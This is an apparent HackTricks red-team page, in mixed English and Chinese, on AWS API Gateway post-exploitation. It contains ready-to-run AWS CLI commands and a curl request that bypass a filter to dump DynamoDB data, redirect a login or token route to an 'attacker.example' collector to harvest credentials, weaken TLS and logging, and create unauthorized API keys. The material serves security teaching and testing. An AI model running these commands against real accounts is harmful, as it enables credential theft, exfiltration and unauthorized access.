AWS - API Gateway Post Exploitation

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

API Gateway

更多信息请参阅:

AWS - API Gateway Enum

Access unexposed APIs

You can create an endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint with the service com.amazonaws.us-east-1.execute-api, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn’t exposed before.

Bypass Request body passthrough

This technique was found in this CTF writeup.

AWS documentationPassthroughBehavior 部分所述,默认情况下,值 WHEN_NO_MATCH 在检查请求的 Content-Type 头时,会在不做任何转换的情况下将请求传递给后端。

因此,在该 CTF 中,API Gateway 有一个 integration template,在收到 Content-Type: application/json 的请求时,preventing the flag from being exfiltrated 出现在响应中:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

然而,发送带有 Content-type: text/json 的请求会绕过该过滤器。

最后,由于 API Gateway 只允许 GetOptions,可以通过发送一个包含查询体的 POST 请求并使用头 X-HTTP-Method-Override: GET 来发送任意的 dynamoDB 查询且不受限制:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

Enumeration 部分你可以看到如何 obtain the usage plan 来获取这些密钥。如果你拥有该 key 且它被 limited 为每月 X 次使用,你可以 just use it and cause a DoS

只需将 API Key 包含在名为 x-api-keyHTTP header 中。

Swap Route Integration To Exfil Traffic (HTTP APIs / apigatewayv2)

如果你能更新一个 HTTP API integration,你可以将一个敏感路由(例如 /login/token/submitrepoint 到攻击者控制的 HTTP endpoint,并静默地 collect headers and bodies(cookies、Authorization bearer tokens、session ids、API keys、由内部作业发送的 secrets 等)。

Example workflow:

REGION="us-east-1"
API_ID="<http_api_id>"

# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"

# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"

备注:

  • 对于 HTTP APIs,更改通常会立即生效(不像 REST APIs,通常需要创建一个 deployment)。
  • 是否可以指向任意 URL 取决于 integration type/config;在某些情况下,你也可能在 patch 时更改 integration type。

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

拥有 apigateway:UpdateGatewayResponseapigateway:CreateDeployment 权限的攻击者可以 修改现有的 Gateway Response 以包含自定义 headers 或 response templates,从而 leak 敏感信息或执行恶意脚本

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: 敏感信息泄露、执行恶意脚本或对 API 资源的未授权访问。

Note

需要测试

apigateway:UpdateStage, apigateway:CreateDeployment

拥有权限 apigateway:UpdateStageapigateway:CreateDeployment 的攻击者可以 修改现有的 API Gateway stage,将流量重定向到不同的 stage 或更改缓存设置以获取对缓存数据的未授权访问

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: 未经授权访问缓存数据,中断或拦截 API 流量。

Note

需要测试

apigateway:PutMethodResponse, apigateway:CreateDeployment

拥有 apigateway:PutMethodResponseapigateway:CreateDeployment 权限的攻击者可以修改现有 API Gateway REST API 方法的 method response,以包含自定义 headers 或 response templates,从而 leak 敏感信息或执行恶意脚本

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: 敏感信息泄露、执行恶意脚本或对 API 资源的未授权访问。

Note

需要测试

apigateway:UpdateRestApi, apigateway:CreateDeployment

拥有权限 apigateway:UpdateRestApiapigateway:CreateDeployment 的攻击者可以修改 API Gateway REST API 的设置以禁用日志记录或更改最低 TLS 版本,从而可能削弱 API 的安全性

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在影响: 弱化 API 的安全性,可能允许未授权访问或暴露敏感信息。

Note

需要测试

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

具有权限 apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, 和 apigateway:CreateUsagePlanKey 的攻击者可以 创建新的 API keys、将它们与 usage plans 关联,然后使用这些密钥对 APIs 进行未授权访问

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

潜在影响: 未经授权访问 API 资源,绕过安全控制。

Note

需要测试

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks